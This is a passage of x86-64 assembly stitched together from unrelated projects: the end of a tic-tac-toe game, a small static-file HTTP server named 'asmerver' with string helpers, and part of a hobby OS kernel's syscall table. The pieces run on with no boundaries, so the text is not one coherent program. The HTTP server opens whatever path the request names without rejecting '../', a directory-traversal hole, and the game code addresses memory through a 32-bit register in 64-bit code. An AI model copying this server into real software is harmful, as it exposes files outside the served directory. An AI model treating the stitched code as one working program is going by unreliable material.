rax, 2 jmp continue_update third_pos: mov rax, 4 jmp continue_update fourth_pos: mov rax, 6 jmp continue_update fifith_pos: mov rax, 8 jmp continue_update sixth_pos: mov rax, 10 jmp continue_update seventh_pos: mov rax, 12 jmp continue_update eighth_pos: mov rax, 14 jmp continue_update nineth_pos: mov rax, 16 jmp continue_update continue_update: lea rbx, [game_draw + rax] mov rsi, player cmp byte[rsi], "0" je draw_x cmp byte[rsi], "1" je draw_o draw_x: mov cl, "x" jmp update draw_o: mov cl, "o" jmp update update: mov [rbx], cl end_update: ret check: call check_line ret check_line: mov rcx, 0 check_line_loop: cmp rcx, 0 je first_line cmp rcx, 1 je second_line cmp rcx, 2 je third_line call check_column ret first_line: mov rsi, 0 jmp do_check_line second_line: mov rsi, 6 jmp do_check_line third_line: mov rsi, 12 jmp do_check_line do_check_line: inc rcx lea rbx, [game_draw + rsi] mov al, [ebx] cmp al, "_" je check_line_loop add rsi, 2 lea rbx, [game_draw + rsi] cmp al, [rbx] jne check_line_loop add rsi, 2 lea rbx, [game_draw + rsi] cmp al, [rbx] jne check_line_loop mov byte[win_flag], 1 ret check_column: mov rcx, 0 check_colum_loop: cmp rcx, 0 je first_column cmp rcx, 1 je second_column cmp rcx, 2 je third_column call check_diagonal ret first_column: mov rsi, 0 jmp do_check_column second_column: mov rsi, 2 jmp do_check_column third_column: mov rsi, 4 jmp do_check_column do_check_column: inc rcx lea rbx, [game_draw + rsi] mov al, [rbx] cmp al, "_" je check_colum_loop add rsi, 6 lea rbx, [game_draw + rsi] cmp al, [rbx] jne check_colum_loop add rsi, 6 lea rbx, [game_draw + rsi] cmp al, [rbx] jne check_colum_loop mov byte[win_flag], 1 ret check_diagonal: mov rcx, 0 check_diagonal_loop: cmp rcx, 0 je first_diagonal cmp rcx, 1 je second_diagonal ret first_diagonal: mov rsi, 0 mov rdx, 8 ; tamanho do pulo que vamos dar para o meio da diagonal jmp do_check_diagonal second_diagonal: mov rsi, 4 mov rdx, 4 jmp do_check_diagonal do_check_diagonal: inc rcx lea rbx, [game_draw + rsi] mov al, [rbx] cmp al, "_" je check_diagonal_loop add rsi, rdx lea rbx, [game_draw + rsi] cmp al, [rbx] jne check_diagonal_loop add rsi, rdx lea rbx, [game_draw + rsi] cmp al, [rbx] jne check_diagonal_loop mov byte[win_flag], 1 ret game_over: call clear_screen mov rsi, game_start_message mov rdx, gsm_size call print mov rsi, new_line mov rdx, nl_size call print mov rsi, game_draw mov rdx, gd_size call print mov rsi, new_line mov rdx, nl_size call print mov rsi, game_over_message mov rdx, gom_size call print mov rsi, player_message mov rdx, pm_size call print mov rsi, player mov rdx, p_size call print mov rsi, win_message mov rdx, wm_size call print jmp fim fim: mov rax, 60 mov rdi, 0 syscall ; void send_http_200(int contentfd, int sockfd) ; send http 200 response with with content from given file to given socket send_http_200: push rdi push rsi push r8 push r9 ; get file size mov r8, rdi ; save fd mov r9, rsi ; save sockfd ; fd at rdi mov rsi, file_stat ; pass *buf call sys_fstat ; 0 on success ; error is unlikely mov rax, [file_stat + stat.st_size] mov [content_len], rax ; save content length ; allocate buffer for response call current_heap_addr push rax ; save current heap addr mov rdi, [content_len] ; pass size call alloc_response_buffer pop rax ; get ptr to beginning of allocated buf mov [response_buf_ptr], rax ; save response buffer pointer ; HACK Adding pad for using this buffer to construct response later add rax, RESPONSE_HEADER_CAP mov [content_buf_ptr], rax ; save content buffer pointer ; read content mov rdi, r8 ; pass fd mov rsi, rax ; pass *buf mov rdx, [content_len] ; pass count call read_file ; make response mov rdi, [response_buf_ptr] ; pass *buf mov rsi, [content_buf_ptr] ; pass *content call construct_http_200 ; http 200 response ; send response call slen ; calculate length of response mov rdx, rax ; pass length mov rsi, [response_buf_ptr] ; pass *message mov rdi, r9 ; pass socket call send ; free buffer call sys_brk pop r9 pop r8 pop rsi pop rdi ret send_http_404: push rsi push rdx ; socket in rdi mov rsi, http_404 ; pass message mov rdx, http_404_len ; pass length call send pop rdx pop rsi ret ; void construct_http_200(char* buf, char* content) ; construct http 200 response in buf construct_http_200: push r8 push r9 mov r8, rdi ; save *buf mov r9, rsi ; save *content mov rsi, http_200 call strcat ; status mov rsi, cont_length call strcat ; content length label mov rdi, r9 ; pass *content call slen ; calculate length of content mov rdi, rax ; pass num mov rsi, content_len_buf ; pass *buf call itoa ; convert content length to string mov rdi, r8 mov rsi, content_len_buf call strcat ; content length mov rdi, r8 mov rsi, cr_lf call strcat call strcat ; cr_lf mov rsi, r9 call strcat ; content pop r9 pop r8 ret ; bool is_get_request(char* request) ; 1 if request is GET, 0 if not is_get_request: mov ax, 0 ; false cmp byte[rdi+0], 'G' jne .exit cmp byte[rdi+1], 'E' jne .exit cmp byte[rdi+2], 'T' jne .exit mov ax, 1 ; true .exit: ret ; char* alloc_response_buffer(int size) ; allocate buffer for response body + head and get buffer's address alloc_response_buffer: push rdi add rdi, RESPONSE_HEADER_CAP ; add header size call mem_alloc ; new heap addr on success cmp rax, 0 jge .exit mov rdi, err_msg_alloc jmp error ; exit with error .exit: pop rdi ret ; HACK Places terminating zero at the end of resource path ; char* extract_resource_path(char* request) ; returns pointer to the resource path extract_resource_path: push rdi add rdi, 5 ; skip "GET /" mov rax, rdi ; save beginning .loop: cmp byte[rdi], ' ' ; check if space je .place_zero inc rdi ; next char jmp .loop ; loop .place_zero: mov byte[rdi], 0x00 pop rdi ret SECTION .bss response_buf_ptr resq 1 content_buf_ptr resq 1 content_len resq 1 content_len_buf resb 19 SECTION .rodata http_200 db "HTTP/1.1 200 OK",0x0d,0x0a,0x00 http_200_len equ $ - http_200 - 1 http_404 db "HTTP/1.1 404 Not Found",0x0d,0x0a,0x00 http_404_len equ $ - http_404 - 1 ; constants %define BACKLOG 8 %define REQUEST_BUF_CAP 2048 %define RESPONSE_HEADER_CAP 2048 %include "http.asm" %include "net.asm" %include "os.asm" %include "print.asm" %include "string.asm" %include "syscall.asm" SECTION .text global _start _start: ; clear registers xor rax, rax xor rdi, rdi xor rsi, rsi xor rdx, rdx handle_arguments: pop r8 ; pop number of arguments cmp r8, 3 ; check arguments count is good je .get_arguments mov rdi, help_msg ; print the help and exit otherwise call println jmp exit_failure .get_arguments: pop r8 ; discard binary name pop rdi ; listening port call atoi ; convert to integer xchg ah, al ; change byte order to big endian mov [list_sock_port], rax ; save listening port pop rdi ; serving directory .change_directory: call sys_chdir ; 0 on success cmp rax, 0 je .continue mov rdi, err_msg_dir jmp error ; exit with error .continue: create_socket: mov rdi, AF_INET ; pass domain (0x02) mov rsi, SOCK_STREAM ; pass type (0x01) mov rdx, IPPROTO_TCP ; pass protocol (0x06) call sys_socket ; list_sockfd in rax on success ; error info cmp rax, 0 jge .continue mov rdi, err_msg_socket jmp error ; exit with error .continue: set_sock_opt: mov [list_sock], rax ; save list_sockfd mov rdi, rax ; pass socket mov rsi, 0x01 ; pass level (SOL_SOCKET) mov rdx, 0x02 ; pass option_name (SO_REUSEADDR) mov r10, sock_addr ; pass option_value mov r8, sockaddr_in_size ; pass option_len (size of sock_addr) call sys_setsockopt ; 0 in rax on success ; error info cmp rax, 0 je .continue mov rdi, err_msg_socket_opt jmp error ; exit with error .continue: bind: mov rsi, [list_sock_port] mov [sock_addr+sin_port], rsi ; set port mov rdi, [list_sock] ; pass list_sockfd mov rsi, sock_addr ; pass *addr mov rdx, sockaddr_in_size ; pass addrlen (size of sock_addr) call sys_bind ; 0 in rax on success ; error info cmp rax, 0 je .continue mov rdi, err_msg_bind jmp error ; exit with error .continue: listen: mov rdi, [list_sock] ; pass list_sockfd mov rsi, BACKLOG ; pass backlog (max len of queue of pending conns) call sys_listen ; 0 in rax on success cmp rax, 0 je .continue call sys_close ; close socket mov rdi, err_msg_listen jmp error ; exit with error .continue: accept: mov rdi, [list_sock] ; pass list_sockfd mov rsi, 0x00 ; pass addr (NULL) mov rdx, 0x00 ; pass addrlen (size of sockaddr) (NULL) call sys_accept ; accepted socket's fd in rax on success cmp rax, 0 jge .continue mov rdi, err_msg_accept jmp error ; exit with error .continue: mov r12, rax ; save acc_sockfd read_request: mov rdi, r12 ; pass acc_sockfd mov rsi, request_buf ; pass *buf mov rdx, REQUEST_BUF_CAP ; pass count call sys_read ; bytes read on success cmp rax, 0 jge .continue mov rdi, err_msg_read_req jmp error ; exit with error .continue: check_request_is_get: mov rdi, request_buf ; pass *request call is_get_request cmp rax, 0 ; if not GET then don't response jz listen get_file_path: mov rdi, request_buf ; pass *request call extract_resource_path cmp byte[rax], 0 ; if standard file path (points at term zero) jnz .continue mov rax, index_file ; response with index .continue: open_response_file: mov rdi, rax ; pass *pathname mov rsi, 0 ; O_RDONLY call sys_open ; fd on success ; error info cmp rax, 0 jl response_404 ; response 404 if can't open file response_200: mov rdi, rax ; pass contentfd mov rsi, r12 ; pass sockfd call send_http_200 jmp close_socket response_404: mov rdi, r12 ; pass sockfd call send_http_404 close_socket: mov rdi, r12 ; pass fd call sys_close ; close socket cmp rax, 0 je .continue mov rdi, err_msg_close_sock jmp error ; exit with error .continue: jmp accept ; accept loop error: call eprintln jmp exit_failure ; exit program and restore resources exit_success: mov rdi, 0x00 ; EXIT_SUCCESS call sys_exit ; exit program with error exit_failure: mov rdi, 0x01 ; EXIT_FAILURE call sys_exit SECTION .bss list_sock resq 1 list_sock_port resw 1 request_buf resb REQUEST_BUF_CAP request_buf_len resq 1 file_stat resb 64 SECTION .data sock_addr: istruc sockaddr_in at sin_family, dw AF_INET at sin_port, dw 0 at sin_addr, dd INADDR_ANY at sin_zero, dd 0x0000000000000000 iend SECTION .rodata help_msg db "asmerver 1.0",0x0a,"nuid64 ",0x0a,"Usage: ",0x0a,0x09,"asmerver ",0x00 err_msg_alloc db "Memory allocating completed with error",0x00 err_msg_dir db "Can't open served directory",0x00 err_msg_read db "An error occured during reading a file",0x00 err_msg_read_req db "An error occured during reading a request",0x00 err_msg_socket db "Failed to create socket",0x00 err_msg_socket_opt db "Failed to set socket options",0x00 err_msg_bind db "Can't bind address",0x00 err_msg_listen db "Socket don't want to listen",0x00 err_msg_accept db "Connection not accepted",0x00 err_msg_send db "An error occured during sending response",0x00 err_msg_close_sock db "Failed to close socket",0x0 index_file db "index.html",0x00 cont_length db "Content-Length: ",0x00 cont_length_len equ $ - cont_length - 1 cr_lf db 0x0d,0x0a,0x00 SECTION .text ; void strcat(char* dest, char* src) ; concatenates src to dest strcat: push rdi push rsi push rax .find_end: mov al, byte [rdi] ; load char inc rdi ; increase ptr cmp al, 0x00 ; until it reached terminating zero jne .find_end dec rdi ; place ptr back to terminating zero cld ; clear decimal for lodsb .place_char: lodsb ; load char mov [rdi], al ; place char inc rdi ; increase ptr cmp al, 0x00 ; until it reached terminating zero jne .place_char pop rax pop rsi pop rdi ret ; int slen(char* str) ; calculates length of string slen: push rdi push rsi push rcx cld ; clear decimal for lodsb mov rcx, -1 ; take termintating zero into account mov rsi, rdi ; move ptr to rsi for lodsb .nextchar: inc rcx ; increase counter lodsb ; load char cmp al, 0x00 ; until it reached terminating zero jne .nextchar mov rax, rcx ; return value pop rcx pop rsi pop rdi ret ; void itoa(int num, char* buf) ; int to char* conversion itoa: push rdi push rsi push rdx push rax push rbx .start_converting: call calc_digits_count ; get number of digits mov rcx, rax mov al, 0x00 mov [rsi+rcx], al ; place terminating zero at the end dec rcx ; move pointer left mov rax, rdi ; place number for dividing mov rbx, 10 .loop: xor rdx, rdx ; avoiding error div rbx ; get remainder of dividing by ten add rdx, 0x30 ; converting to ASCII digit's symbol mov [rsi+rcx], dl ; place char dec rcx ; move pointer left cmp rax, 9 ja .loop ; until rax is zero .last_digit: add rax, 0x30 ; last digit mov [rsi+rcx], al pop rbx pop rax pop rdx pop rsi pop rdi ret ; int atoi(char* buf) ; char* to int conversion atoi: push rsi xor rax, rax .loop: movzx rsi, byte [rdi] test rsi, rsi ; check for \0 je .done cmp rsi, 48 ; check symbol is digit jl .error cmp rsi, 57 jg .error sub rsi, 48 ; convert to decimal imul rax, 10 add rax, rsi inc rdi jmp .loop .error: mov rax, -1 ; -1 on error .done: pop rsi ret ; int calc_digits_count(int num) ; calculates count of digits in number calc_digits_count: push rdi push rdx push rbx push rcx mov rax, rdi ; move number mov rbx, 10 xor rcx, rcx ; zeroing counter .loop: inc rcx cmp rax, 10 jb .exit xor rdx, rdx ; avoiding error div rbx ; dividing by base until ratio is zero jmp .loop .exit: mov rax, rcx ; move result in rax pop rcx pop rbx pop rdx pop rdi ret ;=============================================================================== ;Copyright (C) Andrzej Adamczyk (at https://blackdev.org/). All rights reserved. ;=============================================================================== ; information for linker section .rodata ; align routine align 0x08, db 0x00 kernel_service_list: dq kernel_service_exit dq kernel_service_framebuffer dq kernel_service_memory_alloc dq kernel_service_memory_release dq kernel_service_task_pid dq kernel_service_driver_mouse dq kernel_service_storage_read dq kernel_service_exec dq kernel_service_ipc_send dq kernel_service_ipc_receive dq kernel_service_memory_share dq driver_ps2_keyboard_key_read dq kernel_service_task_status dq kernel_stream_out dq kernel_stream_in dq kernel_service_serial_char dq kernel_service_serial_string dq kernel_service_serial_value dq driver_rtc_time dq kernel_stream_set dq kernel_stream_get dq kernel_service_sleep dq kernel_service_uptime dq kernel_stream_out_value dq kernel_service_task dq kernel_service_memory dq kernel_service_thread kernel_service_list_end: ; information for linker section .text ;------------------------------------------------------------------------------- ; in: ; rdi - pointer to Memory descriptor kernel_service_memory: ; preserve original registers push rax push r8 ; kernel environment variables/rountines base addrrax mov r8, qword [kernel_environment_base_address] ; return information about ; all available pages mov rax, qword [r8 + KERNEL_STRUCTURE.page_total] mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.total], rax ; and currently free mov rax, qword [r8 + KERNEL_STRUCTURE.page_available] mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.available], rax ; restore original registers pop r8 pop rax ; return from routine ret ;------------------------------------------------------------------------------- ; void kernel_service_exit: ; retrieve pointer to current task descriptor call kernel_task_active ; mark task as closed and not active or word [r9 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_closed and word [r9 + KERNEL_TASK_STRUCTURE.flags], ~KERNEL_TASK_FLAG_active ; release rest of AP time int 0x20 ;------------------------------------------------------------------------------- ; in: ; rdi - sleep amount in microtime kernel_service_sleep: ; preserve original registers push rdi push r8 push r9 ; kernel environment variables/rountines base address mov r8, qword [kernel_environment_base_address] ; retrieve pointer to current task descriptor call kernel_task_active ; current uptime add rdi, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] ; go to sleep for N ticks mov qword [r9 + KERNEL_TASK_STRUCTURE.sleep], rdi ; release the remaining CPU time int 0x20 ; restore original registers pop r9 pop r8 pop rdi ; return from routine ret ;------------------------------------------------------------------------------- ; out: ; rax - current uptime in microtime kernel_service_uptime: ; return current microtime index mov rax, qword [kernel_environment_base_address] mov rax, qword [rax + KERNEL_STRUCTURE.hpet_microtime] ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - pointer to mouse descriptor kernel_service_driver_mouse: ; preserve original registers push rax push r8 ; kernel environment variables/rountines base address mov r8, qword [kernel_environment_base_address] ; share information about mouse location and status mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_x] mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.x], ax mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_y] mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.y], ax mov al, byte [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_status] mov byte [rdi + LIB_SYS_STRUCTURE_MOUSE.status], al ; restore original registers pop r8 pop rax ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdx - stream flags ; rsi - length of file name/path ; rdi - pointer to file name/path ; out: ; rax - process ID kernel_service_exec: ; preserve original registers push rcx push rsi push rdi push rbp push r8 ; kernel environment variables/rountines base address mov r8, qword [kernel_environment_base_address] ; reorganize registers mov rcx, rsi ; length of string mov rsi, rdx ; pointer to string xchg rsi, rdi ; stream flags ; execute file from path call kernel_exec ; restore original registers pop r8 pop rbp pop rdi pop rsi pop rcx ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - pointer to framebuffer descriptor kernel_service_framebuffer: ; preserve original registers push rax push rcx push rdx push rsi push r8 push r9 push r11 ; kernel environment variables/rountines base address mov r8, qword [kernel_environment_base_address] ; return properties of framebuffer ; width in pixels mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_width_pixel] mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.width_pixel], ax ; height in pixels mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_height_pixel] mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel], ax ; scanline in Bytes mov eax, dword [r8 + KERNEL_STRUCTURE.framebuffer_scanline_byte] mov dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte], eax ; framebuffer manager mov rax, qword [r8 + KERNEL_STRUCTURE.framebuffer_pid] ; framebuffer manager exist? test rax, rax jnz .return ; yes ; retrieve pointer to current task descriptor call kernel_task_active ; calculate size of framebuffer space mov eax, dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte] movzx ecx, word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel] mul rcx ; convert to pages add rax, ~STATIC_PAGE_mask shr rax, STATIC_PAGE_SIZE_shift ; share framebuffer memory space with process xor ecx, ecx ; no framebuffer manager, if error on below function xchg rcx, rax ; length of shared space in pages mov rsi, qword [r8 + KERNEL_STRUCTURE.framebuffer_base_address] mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] call kernel_memory_share jc .return ; no enough memory? ; return pointer to shared memory of framebuffer mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.base_address], rax ; new framebuffer manager mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid] mov qword [r8 + KERNEL_STRUCTURE.framebuffer_pid], rax .return: ; inform about framebuffer manager mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.pid], rax ; restore original registers pop r11 pop r9 pop r8 pop rsi pop rdx pop rcx pop rax ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - ID of target process ; rsi - pointer to message data kernel_service_ipc_send: ; preserve original registers push rax push rcx push rsi push rdi push r8 ; kernel environment variables/rountines base address mov r8, qword [kernel_environment_base_address] .lock: ; request an exclusive access mov cl, LOCK lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl ; assigned? test cl, cl jnz .lock ; no .restart: ; amount of entries mov rcx, KERNEL_IPC_limit ; set pointer to first message mov rdx, qword [r8 + KERNEL_STRUCTURE.ipc_base_address] .loop: ; free entry? mov rax, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] cmp qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax jbe .found ; yes ; next entry from list add rdx, LIB_SYS_STRUCTURE_IPC.SIZE ; end of message list? dec rcx jz .restart ; yes ; no jmp .loop .found: ; set message time out add rax, KERNEL_IPC_timeout mov qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax ; set message source call kernel_task_pid mov qword [rdx + LIB_SYS_STRUCTURE_IPC.source], rax ; set message target mov qword [rdx + LIB_SYS_STRUCTURE_IPC.target], rdi ; load data into message mov ecx, LIB_SYS_IPC_DATA_size_byte mov rdi, rdx add rdi, LIB_SYS_STRUCTURE_IPC.data rep movsb .end: ; release access mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK ; restore original registers pop r8 pop rdi pop rsi pop rcx pop rax ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - pointer to message descriptor ; sil - message type ; out: ; TRUE if message retrieved kernel_service_ipc_receive: ; preserve original registers push rbx push rcx push rdi push r8 push rsi ; kernel environment variables/rountines base address mov r8, qword [kernel_environment_base_address] .lock: ; request an exclusive access mov cl, LOCK lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl ; assigned? test cl, cl jnz .lock ; no ; retrieve ID of current process call kernel_task_pid ; amount of entries mov rcx, KERNEL_IPC_limit ; set pointer to first message mov rsi, qword [r8 + KERNEL_STRUCTURE.ipc_base_address] .loop: ; message alive? mov rbx, qword [r8 + KERNEL_STRUCTURE.hpet_microtime] cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], rbx ja .check ; yes .next: ; next entry from list? add rsi, LIB_SYS_STRUCTURE_IPC.SIZE dec rcx jnz .loop ; yes ; no message for us xor eax, eax ; no jmp .end .check: ; message type selected? cmp byte [rsp], LIB_SYS_IPC_TYPE_ANY je .any ; no ; requested message type? mov bl, byte [rsp] cmp bl, byte [rsi + LIB_SYS_STRUCTURE_IPC.data + LIB_SYS_STRUCTURE_IPC_DEFAULT.type] jne .next ; no .any: ; message for us? cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.target], rax jne .next ; no ; preserve original register push rsi ; load message to process descriptor mov ecx, LIB_SYS_STRUCTURE_IPC.SIZE rep movsb ; restore original register pop rsi ; release entry mov qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], EMPTY ; message transferred mov eax, TRUE .end: ; release access mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK ; restore original registers pop rsi pop r8 pop rdi pop rcx pop rbx ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - length of space in Bytes ; out: ; rax - pointer to allocated space ; or EMPTY if no enough memory kernel_service_memory_alloc: ; preserve original registers push rbx push rcx push rsi push rdi push r8 push r9 push r11 ; convert size to pages (align up to page boundaries) add rdi, ~STATIC_PAGE_mask shr rdi, STATIC_PAGE_SIZE_shift ; retrieve pointer to current task descriptor call kernel_task_active ; set pointer of process paging array mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] ; aquire memory space from process memory map mov r9, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] mov rcx, rdi ; number of pages call kernel_memory_acquire jc .error ; no enough memory ; convert first page number to logical address shl rdi, STATIC_PAGE_SIZE_shift ; assign pages to allocated memory in process space mov rax, rdi mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process call kernel_page_alloc jnc .allocated ; space allocated ; take back modifications mov rsi, rcx call kernel_service_memory_release .error: ; no enough memory xor eax, eax ; end jmp .end .allocated: ; retrieve pointer to current task descriptor call kernel_task_active ; process memory usage add qword [r9 + KERNEL_TASK_STRUCTURE.page], rcx .end: ; restore original registers pop r11 pop r9 pop r8 pop rdi pop rsi pop rcx pop rbx ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - pointer to allocated space ; rsi - length of space in Bytes kernel_service_memory_release: ; preserve original registers push rax push rcx push rsi push rdi push r9 push r11 ; retrieve pointer to current task descriptor call kernel_task_active ; convert bytes to pages add rsi, ~STATIC_PAGE_mask shr rsi, STATIC_PAGE_SIZE_shift ; pointer and counter at place mov rcx, rsi mov rsi, rdi .loop: ; delete first physical page from logical address mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] call kernel_page_remove ; page removed? test rax, rax jnz .release ; yes ; convert to page number shr rsi, STATIC_PAGE_SIZE_shift ; continue jmp .next .release: ; release page inside kernels binary memory map mov rdi, rax or rdi, qword [kernel_page_mirror] call kernel_memory_release_page ; release page inside process binary memory map shr rsi, STATIC_PAGE_SIZE_shift mov rdi, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] bts qword [rdi], rsi ; process memory usage dec qword [r9 + KERNEL_TASK_STRUCTURE.page] .next: ; next page from space inc rsi shl rsi, STATIC_PAGE_SIZE_shift ; another page? dec rcx jnz .loop ; yes ; restore original registers pop r11 pop r9 pop rdi pop rsi pop rcx pop rax ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - pointer to source memory space ; rsi - length of space in Bytes ; rdx - target process ID ; out: ; rax - pointer to shared memory between processes kernel_service_memory_share: ; preserve original registers push rbx push rcx push rsi push rdi push r9 push r11 ; convert Bytes to pages mov rcx, rsi add rcx, ~STATIC_PAGE_mask shr rcx, STATIC_PAGE_SIZE_shift ; retrieve task paging structure pointer call kernel_task_by_id mov r11, qword [rbx + KERNEL_TASK_STRUCTURE.cr3] ; set source pointer in place mov rsi, rdi ; acquire memory space from target process mov r9, qword [rbx + KERNEL_TASK_STRUCTURE.memory_map] call kernel_memory_acquire ; convert page number to offset shl rdi, STATIC_PAGE_SIZE_shift ; connect memory space of parent process with child mov rax, rdi mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process | KERNEL_PAGE_FLAG_shared call kernel_page_clang ; restore original registers pop r11 pop r9 pop rdi pop rsi pop rcx pop rbx ; return from routine ret ;------------------------------------------------------------------------------- ; out: ; rax - PID of current task kernel_service_task_pid: ; preserve original registers push r9 ; retrieve pointer to current task descriptor call kernel_task_active ; set pointer of process paging array mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid] ; restore original registers pop r9 ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - process ID ; out: ; ax - task status kernel_service_task_status: ; preserve original registers push rbx push rdx ; retrieve pointer to current task descriptor mov rdx, rdi call kernel_task_by_id ; by default not found xor ax, ax ; not found? test rbx, rbx jz .error ; yep ; set pointer of process paging array mov ax, word [rbx + KERNEL_TASK_STRUCTURE.flags] .error: ; restore original registers pop rdx pop rbx ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - ASCII character kernel_service_serial_char: ; preserve original register push rax ; send character to serial mov al, dil call driver_serial_char ; restore original register pop rax ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - pointer to string ; rsi - length of string in Bytes kernel_service_serial_string: ; preserve original registers push rcx push rsi ; send string to serial mov rcx, rsi mov rsi, rdi call driver_serial_string ; restore original registers pop rsi pop rcx ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - value ; sil - base ; rdx - prefix length ; cl - TRUE/FALSE signed value? kernel_service_serial_value: ; preserve original registers push rax push rbx push rcx push rdx ; send value to serial mov rax, rdi movzx ebx, sil xchg rcx, rdx call driver_serial_value ; restore original registers pop rdx pop rcx pop rbx pop rax ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - pointer to file descriptor kernel_service_storage_read: ; preserve original registers push rax push rbx push rcx push rsi push rbp push r8 push r9 push r11 push rdi ; kernel environment variables/rountines base address mov r8, qword [kernel_environment_base_address] ; prepare space for file descriptor sub rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE mov rbp, rsp ; pointer of file descriptor ; get file properties movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id] movzx ecx, byte [rdi + LIB_SYS_STRUCTURE_STORAGE.length] lea rsi, [rdi + LIB_SYS_STRUCTURE_STORAGE.name] call kernel_storage_file ; file found? cmp qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id], EMPTY je .end ; no ; prepare space for file content mov rdi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte] call kernel_service_memory_alloc ; no enough memory? test rax, rax jz .end ; yes ; load file content into prepared space mov rsi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id] mov rdi, rax movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id] call kernel_storage_read ; retrieve current task pointer call kernel_task_active ; restore file descriptor mov rax, qword [rsp + KERNEL_STORAGE_STRUCTURE_FILE.SIZE] ; inform process about file location and size push qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte] pop qword [rax + LIB_SYS_STRUCTURE_STORAGE.size_byte] mov qword [rax + LIB_SYS_STRUCTURE_STORAGE.address], rdi .end: ; remove file descriptor from stack add rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE ; restore original registers pop rdi pop r11 pop r9 pop r8 pop rbp pop rsi pop rcx pop rbx pop rax ; return from routine ret ;------------------------------------------------------------------------------- ; out: ; rax - pointer to list of first task descriptor kernel_service_task: ; preserve original registers push rbx push rcx push rdx push rsi push rdi push r8 push r10 ; kernel environment variables/rountines base address mov r8, qword [kernel_environment_base_address] .lock: ; request an exclusive access mov al, LOCK lock xchg byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], al ; assigned? test al, al jnz .lock ; no ; length of tasks descriptors in Bytes mov eax, LIB_SYS_STRUCTURE_TASK.SIZE mul qword [r8 + KERNEL_STRUCTURE.task_count] ; assign place for task descriptor list mov rdi, rax add rdi, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift call kernel_service_memory_alloc ; store information about size of this space add rdi, ~STATIC_PAGE_mask shr rdi, STATIC_PAGE_SIZE_shift mov qword [rax], rdi ; parse every entry mov rbx, KERNEL_TASK_limit mov r10, qword [r8 + KERNEL_STRUCTURE.task_queue_address] ; preserve memory space pointer of tasks descriptors add rax, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift push rax .loop: ; entry exist? cmp word [r10 + KERNEL_TASK_STRUCTURE.flags], EMPTY je .next ; no ; do not pass kernel entry cmp qword [r10 + KERNEL_TASK_STRUCTURE.pid], EMPTY je .next ; share default information about task ; process ID mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid] mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], rdx ; process parents ID mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid_parent] mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid_parent], rdx ; wake up process micotime mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.sleep] mov qword [rax + LIB_SYS_STRUCTURE_TASK.sleep], rdx ; amount of pages used by process mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.page] mov qword [rax + 